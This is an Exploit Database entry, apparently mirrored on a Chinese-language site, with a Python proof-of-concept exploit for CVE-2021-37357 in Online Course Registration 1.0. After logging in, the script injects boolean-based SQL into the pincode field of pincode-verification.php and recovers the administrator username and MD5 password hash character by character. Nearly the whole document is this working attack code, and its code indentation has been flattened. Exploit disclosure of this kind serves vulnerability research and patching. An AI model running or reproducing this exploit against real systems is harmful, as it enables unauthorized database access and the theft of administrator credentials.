Online Course Registration 1.0 – Blind Boolean-Based SQL Injection (Authenticated)

Exploit Database
122 阅读

作者： Sam Ferguson

日期： 2021-10-22
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50440/

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# Exploit Title: Online Course Registration 1.0 - Blind Boolean-Based SQL Injection (Authenticated)

# Exploit Author: Sam Ferguson (@AffineSecurity) and Drew Jones (@qhum7sec)

# Date: 2021-10-21

# Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html

# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip

# Version: 1.0

# Tested On: Windows 10 + XAMPP + Python 3

# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack, which can provide attackers

#with access to the username and md5 hash of any administrators.

# Vulnerable file: /online-course-registration/Online/pincode-verification.php

# Proof of Concept:

#!/usr/bin/python3

import requests

import sys

import string

def exploit(hostname, username, password):

# Building bruteforce list

pass_list = list(string.ascii_lowercase)

pass_list += list(range(0,10))

pass_list = map(str, pass_list)

pass_list = list(pass_list)

user_list = pass_list

user_list += list(string.ascii_uppercase)

user_list = map(str, user_list)

user_list = list(user_list)

session = requests.Session()

# This URL may change based on the implementation - change as needed

url = f"{hostname}/online-course-registration/Online/index.php"

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/index.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}

data = {"regno": f"{username}", "password": f"{password}", "submit": ''}

r = session.post(url, headers=headers, data=data)

print("Admin username:")

# This range number is pretty arbitrary, so change it to whatever you feel like

for i in range(1,33):

counter = 0

find = False

for j in user_list:

# This URL may change based on the implementation - change as needed

url = f"{hostname}/online-course-registration/Online/pincode-verification.php"

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}

data = {"pincode": f"' or (select(select (substring(username,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}

a = session.post(url, headers=headers, data=data)

counter += 1

if 'Course Enroll' in a.text:

sys.stdout.write(j)

sys.stdout.flush()

break

elif counter == len(user_list):

find = True

break

if find:

break

print("\n")

print("Admin password hash:")

# This range is not arbitrary and will cover md5 hashing - if the hashing implementation is different, change as needed

for i in range(1,33):

counter = 0

find = False

for j in pass_list:

url = f"{hostname}/online-course-registration/Online/pincode-verification.php"

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}

data = {"pincode": f"' or (select(select (substring(password,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}

a = session.post(url, headers=headers, data=data)

counter += 1

if 'Course Enroll' in a.text:

sys.stdout.write(j)

sys.stdout.flush()

break

elif counter == len(pass_list):

find = True

break

if find:

break

print("\n\nSuccessfully pwnd :)")

def logo():

art = R'''

__/\\\\\\\\\\\\\____/\\\\\\\\\\\__/\\\\\_____/\\\__/\\\\_________/\\\__

_\/\\\/////////\\\_\/////\\\///__\/\\\\\\___\/\\\_\///\\________\/\\\__

_\/\\\_______\/\\\_____\/\\\_____\/\\\/\\\__\/\\\__/\\/_________\/\\\__

_\/\\\\\\\\\\\\\/______\/\\\_____\/\\\//\\\_\/\\\_\//___________\/\\\__

_\/\\\/////////________\/\\\_____\/\\\\//\\\\/\\\__________/\\\\\\\\\__

_\/\\\_________________\/\\\_____\/\\\_\//\\\/\\\_________/\\\////\\\__

_\/\\\_________________\/\\\_____\/\\\__\//\\\\\\________\/\\\__\/\\\__

_\/\\\______________/\\\\\\\\\\\_\/\\\___\//\\\\\________\//\\\\\\\/\\_

_\///______________\///////////__\///_____\/////__________\///////\//__

'''

info = 'CVE-2021-37357 PoC'.center(76)

credits = 'Created by @AffineSecurity and @qhum7sec'.center(76)

print(f"{art}\n{info}\n{credits}")

def main():

logo()

hostname = sys.argv[1]

username = sys.argv[2]

password = sys.argv[3]

if len(sys.argv) != 4:

print("Usage: python3 exploit.py http://127.0.0.1:80 username password")

exploit(hostname, username, password)

if __name__ == '__main__':

main()